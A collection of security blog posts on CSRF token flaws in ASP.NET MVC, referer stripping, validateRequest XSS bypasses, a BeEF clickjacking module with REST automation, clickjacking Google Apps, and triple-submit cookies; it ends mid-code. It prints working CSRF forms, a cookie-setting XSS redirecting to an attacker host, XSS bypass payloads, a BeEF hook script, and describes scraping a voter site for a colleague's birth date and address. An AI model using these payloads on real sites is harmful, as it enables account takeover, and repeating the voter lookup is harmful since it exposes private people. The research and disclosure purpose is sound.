.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

Stripping the Referer in a Cross Domain POST request

I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)

HTTPS -> HTTP (works if the target is HTTP not HTTPS)

So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.

But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.

data: URIs (works in FF and Chrome)

Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.

<html>
  <body>
   <script type="text/javascript">
  function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +
              '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=example@live.com />' +
              '<input type=hidden name=pass value=password />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}

   </script>

  <a href="#" onclick="post_without_referer()">POST without referer (FF,chrome)</a>
  </body>
</html>

He also includes an IE thing, but that will only work with GET requests.

CORS (doesn’t work afaik)

According to the spec at http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag

referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.

The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.

In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).

about:blank (works in everything)

Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)

Note you have to modify slightly because wordpress snipped out my iframe in tags.

<html>
<head>
<script>
function load() {
    var postdata = '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
                    '<input type=hidden name=email value=example@live.com />' +
                    '<input type=hidden name=pass value=password />' +
                    '<input type=hidden name=locale value=en_US />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
</script>
</head>
<body onload="load()">

< iframe src="about:blank" id="noreferer">< /iframe>


</body>
</html>


ValidateRequest should probably still be Enabled

I noticed this post on reddit a couple weeks back, and it’s called “new .net xss bypass”. I look at .net apps more than anything else right now as part of my day job, so this new bypass is something I was already aware of. There are quite a few comments I think are a bit off, and the article calls this a “vulnerability”. This is an interesting subject, and like a lot of things, people say things that can be misleading or not tell the entire story…

What is validateRequest?

validateRequest kind of works like a WAF, and it’s main purpose is to mitigate reflected XSS. It’s enabled by default, and you can see it in action on most .NET websites. For example, check out http://windows.microsoft.com/en-US/windows/home. If you send it http://windows.microsoft.com/en-US/windows/home?myparam=aaa or http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3c it’s fine, but then if you send it http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3ca it gives an error (note the only difference between the last two is < vs <a). What's going on here?

Well, on the server, the stack trace probably looks something like this (this is what it looks like in my test application).

[HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (test="<a").]
   System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) +9665149
   System.Web.<>c__DisplayClass5.<ValidateHttpValueCollection>b__3(String key, String value) +18
   System.Web.HttpValueCollection.EnsureKeyValidated(String key) +9664565
   System.Web.HttpValueCollection.GetValues(Int32 index) +29
   System.Web.HttpValueCollection.ToString(Boolean urlencoded, IDictionary excludeKeys) +206
   System.Web.UI.Page.get_ClientQueryString() +411
   System.Web.UI.HtmlControls.HtmlForm.GetActionAttribute() +259
   System.Web.UI.HtmlControls.HtmlForm.RenderAttributes(HtmlTextWriter writer) +724
   System.Web.UI.HtmlControls.HtmlControl.RenderBeginTag(HtmlTextWriter writer) +41
   System.Web.UI.HtmlControls.HtmlContainerControl.Render(HtmlTextWriter writer) +20
   System.Web.UI.HtmlControls.HtmlForm.Render(HtmlTextWriter output) +53
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.HtmlControls.HtmlForm.RenderControl(HtmlTextWriter writer) +40
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Control.Render(HtmlTextWriter writer) +10
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Page.Render(HtmlTextWriter writer) +29
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +6704
   System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +245
   System.Web.UI.Page.ProcessRequest() +72
   System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +21
   System.Web.UI.Page.ProcessRequest(HttpContext context) +58

Tracing down the line from the validateString method, eventually it calls this for all values (not keys).

// System.Web.CrossSiteScriptingValidation
internal static bool IsDangerousString(string s, out int matchIndex)
{
	matchIndex = 0;
	int startIndex = 0;
	while (true)
	{
		int num = s.IndexOfAny(CrossSiteScriptingValidation.startingChars, startIndex);
		if (num < 0)
		{
			break;
		}
		if (num == s.Length - 1)
		{
			return false;
		}
		matchIndex = num;
		char c = s[num];
		if (c != '&')
		{
			if (c == '<' && (CrossSiteScriptingValidation.IsAtoZ(s[num + 1]) || s[num + 1] == '!' || s[num + 1] == '/' || s[num + 1] == '?'))
			{
				return true;
			}
		}
		else
		{
			if (s[num + 1] == '#')
			{
				return true;
			}
		}
		startIndex = num + 1;
	}
	return false;
}

Obvious Edge Cases

So clearly, validateRequest makes no attempt to stop most DOM XSS, and there’s no attempt at all with stored XSS. It’s also clearly limited in preventing reflected XSS too. There’s no attempt at detecting encoding, so there’s kind of an assumption that the encoding is UTF-8. Not to mention if there’s an xss in the whole query string, in which case you could just put it in the keys. Not to mention if there’s user input being reflected in the context of an attribute, validateRequest does not stop it. For example:

<img src="" title="USERINPUT">

In this context, validateRequest doesn’t stop reflected XSS. It does, however, try to stop at least this case:

<html><body>
USERINPUT
</body></html>

If you can get script to execute in this context with UTF-8 encoding, you’ve bypassed something validateRequest was meant to prevent.

The bypass I saw on reddit

The bypass looks like this:

‹%tag style="xss:expression(alert(123))" ›

This can make it through validateRequest’s filter because the < is not followed by a bad char (% is fine). The tags execute in IE9 in compatibility mode in the context above (it doesn’t seem to execute in IE 8- or IE 10).

There are some limitations in this attack though. First, remember we’re talking about just IE9. Second is the fact that by default IE9’s xss filter is turned on, and IE 9's xss filter will prevent the above from executing. There might be a generic way to bypass both validateRequest and IE9’s xss filter, but I am not aware of it.

IE_filter

Things I’ve Tried

In the past, I’ve tried a few bypasses of validateRequest myself.

Unit Test with single separators

I’ve tried the following test cases. This does catch the <% bypass with IE9 in compatability mode, but nothing else fires. One thing that I thought was a bypass at first was %00, but validaterequest does actually catch that.

def bad_char(m):
    if (m == "<" or m== "!" or m == "?" or m == "/" or (ord(m) >= 0x41 and ord(m) <= 0x5a) or
        (ord(m) >= 0x61 and ord(m) <= 0x7a)):
        return False
    return True

def singlechars_img(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write("<" + chr(i) + "img src='' onerror=alert(" + hex(i) + ") /> <br />\n")

def singlechars_style(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write("<" + chr(i) + "tag style=\"xss:expression(open(alert(" + str(i) + ")))\" > <br />\n")

Trying to be clever (overlong UTF-8, etc)

One thing I tried was to backspace one of the tags with the ascii value 0x08: <<0x08script>. This doesn’t execute in any browser tried

I tried the shift JIS prefix code %e0 which should consume the next character as part of a multibyte literal. The idea is that if validaterequest tries to decode any data, it may consume an extra %3c, whereas some browsers (like chrome) do not consume an extra %3c and there would be a mismatch. But validaterequest is much simpler, and just iterates over all the bytes like we can see from the reflected snipped above.

I also tried several overlong UTF-8 combinations, but these don’t execute with content-type UTF-8

#overlong UTF-8
def overlong(f):
    #attempt to delete a <
    f.write("<<\x08script>alert(1)</script>")
    #some overlong UTF
    f.write("<\xFC\x80\x80\x80\x81\xA9\xFC\x80\x80\x80\x81\xAD\xFC\x80\x80\x80\x81\xA7 src='' onerror=alert(2) />")
    f.write("<\xFC\x80\x80\x80\x81\xA9mg src='' onerror=alert(2) />")
    f.write("\xC1\xA9mg src='' onerror=alert(3) />")
    f.write("\xF8\x80\x80\x81\xA9mg src='' onerror=alert(3) />")

Conclusions

The ‹%tag style=”xss:expression(alert(123))” › validaterequest bypass is interesting and something to keep in the back of your pentesting pocket, but if you’re on defense don’t panic. I don’t think this really breaks validaterequest in a meaningful way. Pulling numbers out of my ass, I would say that if 30% of xss were prevented by validaterequest without this, then maybe this knocks the successfully prevented attacks down like a percent or two, to 28% (exploitable against users who use IE9 and have disabled the xss filter (or where you can get around the xss filter)). validaterequest does have it’s problems, and there have been generic bypasses in the past, but I think it’s still worthwhile to enable.

BeEf Clickjacking Module and using the REST API to Automate Attacks

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);
 });

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focus();
$j(btnObj).focusout(function() {
    cjLog("Iframe clicked");
    iframeClicked();
});

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){
    clicked++;
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js;
    innerPos.top = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    eval(unescape(jsfunc));
    setTimeout(function(){
        updateIframePosition();
    }, <%= @clickDelay %>);

    setTimeout(function(){
        var btnSelector = "#" + elems.btn;
        var btnObj = $j(btnSelector);
        $j(btnObj).focus();

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                removeAll(elems);
                throw "No more clicks.";
            }
        } catch(e) {
            cjLog(e);
        }
    }, 200);
}

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call -->
<script type="text/javascript">
	var commandModuleStr = '<script src="http://192.168.138.129:3000/hook.js" type="text/javascript"><\/script>';
	document.write(commandModuleStr);
</script>
...
<!--
<?php
    system("python /var/www/beef/beefrest.py & > /tmp/myscriptlog.txt");
?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here: http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html, and http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html

#!/usr/bin/python

import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey
		self.host = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey)
		data = json.loads(f.read())
		hooked = data["hooked-browsers"]["online"]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print "============="
		print hooked
		print "============="
		sessionid = hooked[max_hook]["session"]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header("Content-Type", "application/json; charset=UTF-8")
		f = urllib2.urlopen(req)
		print f.read()


#Below will need to be customized
if __name__ == "__main__":
        time.sleep(1)
	b = beefClickjack(
			authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2",
			host="http://127.0.0.1:3000/"
		)
	data = {
		"iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/",
		"iFrameSecurityZone" : "off",
		"iFrameSandbox" : "off",
		"iFrameVisibility" : "on",
		"clickDelay" : "300",
		"iFrameWidth" :" 30",
		"iFrameHeight" :"15",
		"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
		"iFrameLeft_1" : "990",
		"iFrameTop_1" : "180",
		"iFrameLeft_2" : "-",
		"iFrameTop_2" : "-"
	}
	b.sendClickjack(json.dumps(data))

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.

WordPress

The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.

Conclusions

I hope this is my last post about clickjacking ever. :)

Rocking the Vote to Figure out how old my ex-Boss is

It’s probably not surprising that state governments can sometimes not care much about privacy and security on their websites. In this case, I was registering to vote on the official Washington site here: http://www.myvote.wa.gov/. The authentication information is your name and date of birth… ok… W-I-L-L-I-A-M G-A-T-E-S

With a date of birth, you can see a voter’s address, and also the elections where he voted

As you can see, Jeff Bezos votes less often than Bill Gates since unlike Bill Gates, Mr Bezos skips primaries, special elections, and 2006

Around the office, it’s kind of a contest to figure out how old my ex-boss is. My co-workers have tried to use the old “let me see your gun license” trick, but meanwhile, I suck at social engineering. So WA voter registration website ftw!

I setup Burp Intruder to iterate on all the birthdays, placing the ex-boss in a range, like between 28 and 35. He has a relatively common name, but I also happen to know the neighborhood he lives in, so I can save these responses and come up with an exact date of birth. Just sort by size and look at all the valid addresses, in my case there were four hits but I can manually figure out which one is right.

and BAM, as long as he registered to vote now I have an age. It goes without saying this could also be used to extract street addresses, and times people have voted. Unfortunately although I found quite a few John Does at this point, it appears this particular John Doe failed to register to vote. When I asked him if he registered to vote, he confirmed he didn’t, that sneaky bastard.

Anyway, I’m not a fan of letting everyone in the world know my birthday and where I live and what elections I vote in. When I wrote Secretary Reed and mentioned I was concerned about this info all being available online, his office wrote back saying this is all apparently public record and there’s no way to opt out (and pointed at this: http://www.sos.wa.gov/elections/vrdb/default.aspx). I think that kind of sucks Washington, but still, at least you’re not Idaho!

Clickjacking Google

When testing some x-frame-options behavior, I noticed that sameorigin cares about the top location, but not the parent location. At first I thought I discovered this, but turns out it’s not a brand new issue, and others have talked about it at least here and here.

It wasn’t immediately clear to me what sites were impacted, but two conditions need to be present: 1) somewhere on the victim domain, they need to allow you to frame stuff and 2) the victim domain uses x-frame-options sameorigin as a mitigation against clickjacking. With number two, most websites tend to not protect against clickjacking at all (which is worse, of course). However, there are a few places where these two conditions seem pretty pervasive. Google is the first thing that comes to mind because it’s common for Google to protect from clickjacking with x-frame-options: sameorigin, but then they allow external framing on the same domain. Using this and a little social engineering you can do some pretty nasty things, like an unprivileged Google Apps user taking over a domain.

A Couple Specific Examples

I have a pull request into BeEf for a module that my wife and I wrote which makes implementing these attacks trivial. I’ll probably do a blog post specifically about the module soon.

Attack 1: Making a Private Google Site Public

Here’s a video of Attack 1 in action, where victim Google site “besttest42” visits an attacker’s Google site “webstersprodigy” and inadvertently makes their site public by clicking on the next quote button a couple times (three to be exact)

Attack 2: unprivileged Google Apps user escalating to admin

  • Victim is logged in to a Google account.
  • Victim is social engineered to visit a “Google In-Page analytics” page that’s framing attacker controlled content (http://hacker.com). There seem to be a few other ways to frame attacker controlled content on google.com, such as igoogle or other things that might accept Google gadgets.
  • http://hacker.com can now frame a bunch of pages from google.com. Some targets are easier than others. Calendar is tough, for example, because it requires Javascript but also has a frame breaker. Others, like finance and reader, are easy. For my PoC, I framed the Google apps admin portal imagining the victim is a Google Apps admin and the attacker is an unprivileged apps user attempting to escalate priveleges. In this case, the attacker frames https://www.google.com/a/cpanel/webstersprodigy.net/Organization?userEmail=evilattacker@webstersprodigy.net
  • At this point there are four clicks involved. Click on “Roles and Privileges”, then “Assign more roles”, then “Super Admin” then “Confirm Assignment”.
  • I have a PoC for this as well as attack 1, but it’s more flaky because Google analytics Javascript sometimes made my clicks slightly off, and one click in particular I couldn’t completely hide (although I suspect with more time it should be possible). I admit the Google analytics route I have a PoC for would be tough to pull off in the real world (victim has to have recently logged in to admin portal, they have to click things inside of analytics) but the payoff is huge. The attacker is now an admin for a Google apps business and can do things like change a password and then read anyone’s email.

With attack 2, what we’re tricking the user to eventually click on is this:

Recommended Mitigations

I’m sure I’m not close to catching all the specific instances. It would probably be good for Google to go through most portals where users can change settings and set them to x-frame-options deny. A lot of these probably don’t need to be framed at all, and setting it to deny would stop the attack.

It would also be cool if Chrome checked the parent (and not just the top) when x-frame-options same-origin is set. Most browsers (Firefox, Safari, IE8) seem to do the same thing, but it seems wrong to me. It should be noted that IE9 and IE10 do better than this by checking the frame chain (e.g. this attack would fail with IE9).

Discosure Stuff

I contacted Google with basically the post above s/Google/you guys/ on 8/26. Here’s their response:

Thanks for your detailed report. Clearly, you understand some of the
challenges here ;)

This is something we’re aware of and there’s work going on amongst the
various browser vendors to modify (and agree on) what the right behaviour
should be. Right now, our approach is to bank on the browsers fixing this
in a more robust fashion.

I agree with this in principle. However, I would have liked to see x-frame-options deny set on the more sensitive pages. There are other UI redressing attacks possible of course, but since these require a few clicks I think using framing is by far the easiest. When I asked if they considered this a vuln or if they had any concerns about me writing about it, they wrote back:

No, it doesn’t qualify under the VRP — it’s something that we’re already
aware of. Feel free to write about it — it’s not especially widely known,
though is certainly not secret.

Analysis of John Wilander’s Triple Submit Cookies

TLDR

At OWASP Appsec Research John Wilander recently presented an interesting CSRF mitigation – an enhancement to double submit he calls “triple submit”. It’s not implemented yet, but the idea would mitigate some of the problems with a naive double submit algorithm. This post takes a look at that and comes away with the conclusion that triple submit is an improvement over a naive double submit implementation, but doesn’t mitigate CSRF problems as well as other widespread stateless solutions in use.

Background

Double submit cookie mitigations to CSRF are common and implementations can vary a lot. The solution is tempting because it’s scalable and easy to implement. One of the most common variation is the naive:

if (cookievalue != postvalue)
    throw CSRFCheckError

In other words, if an attacker can write a cookie, they can defeat the protection. I’ll refer to this as “naive double submit” for the rest of this post.

Naive double submit has a couple weaknesses. Writing cookies is a lot easier than reading them. Anyone on the same local network can write cookies, or you can write them with an XSS in a neighboring domain. We chatted about this a bit in our 28c3/Blackhat AD talk. As part of that, I showed a bug I opened against owa in 2010, which used to use a naive double submit implementation (and is now fixed, as is the neighbor XSS used to write the cookies). Also, check out my mad video editing skills, which I used to censor people who emailed my test account by accident and probably didn’t need to be censored anyway, but that’s just how I roll.

Better versions of double submit are common also. One variation is to tie the submit values to the session identifier (e.g. the token is a hash of the session ID). ASP.net MVC4 implements something sort of similar to this, and I think what they do is pretty good. I dropped this into reflector to see how it’s implemented.

First in System.Web.Helpers.AntiXsrf.Validate

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then look at what ValidateTokens is doing:

    public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
    {
        if (sessionToken == null)
        {
            throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
        }
        if (fieldToken == null)
        {
            throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
        }
        if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
        {
            throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
        }
        if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
        {
            throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
        }
        string b = string.Empty;
        BinaryBlob objB = null;
        if ((identity != null) && identity.IsAuthenticated)
        {
            objB = this._claimUidExtractor.ExtractClaimUid(identity);
            if (objB == null)
            {
                b = identity.Name ?? string.Empty;
            }
        }
        bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
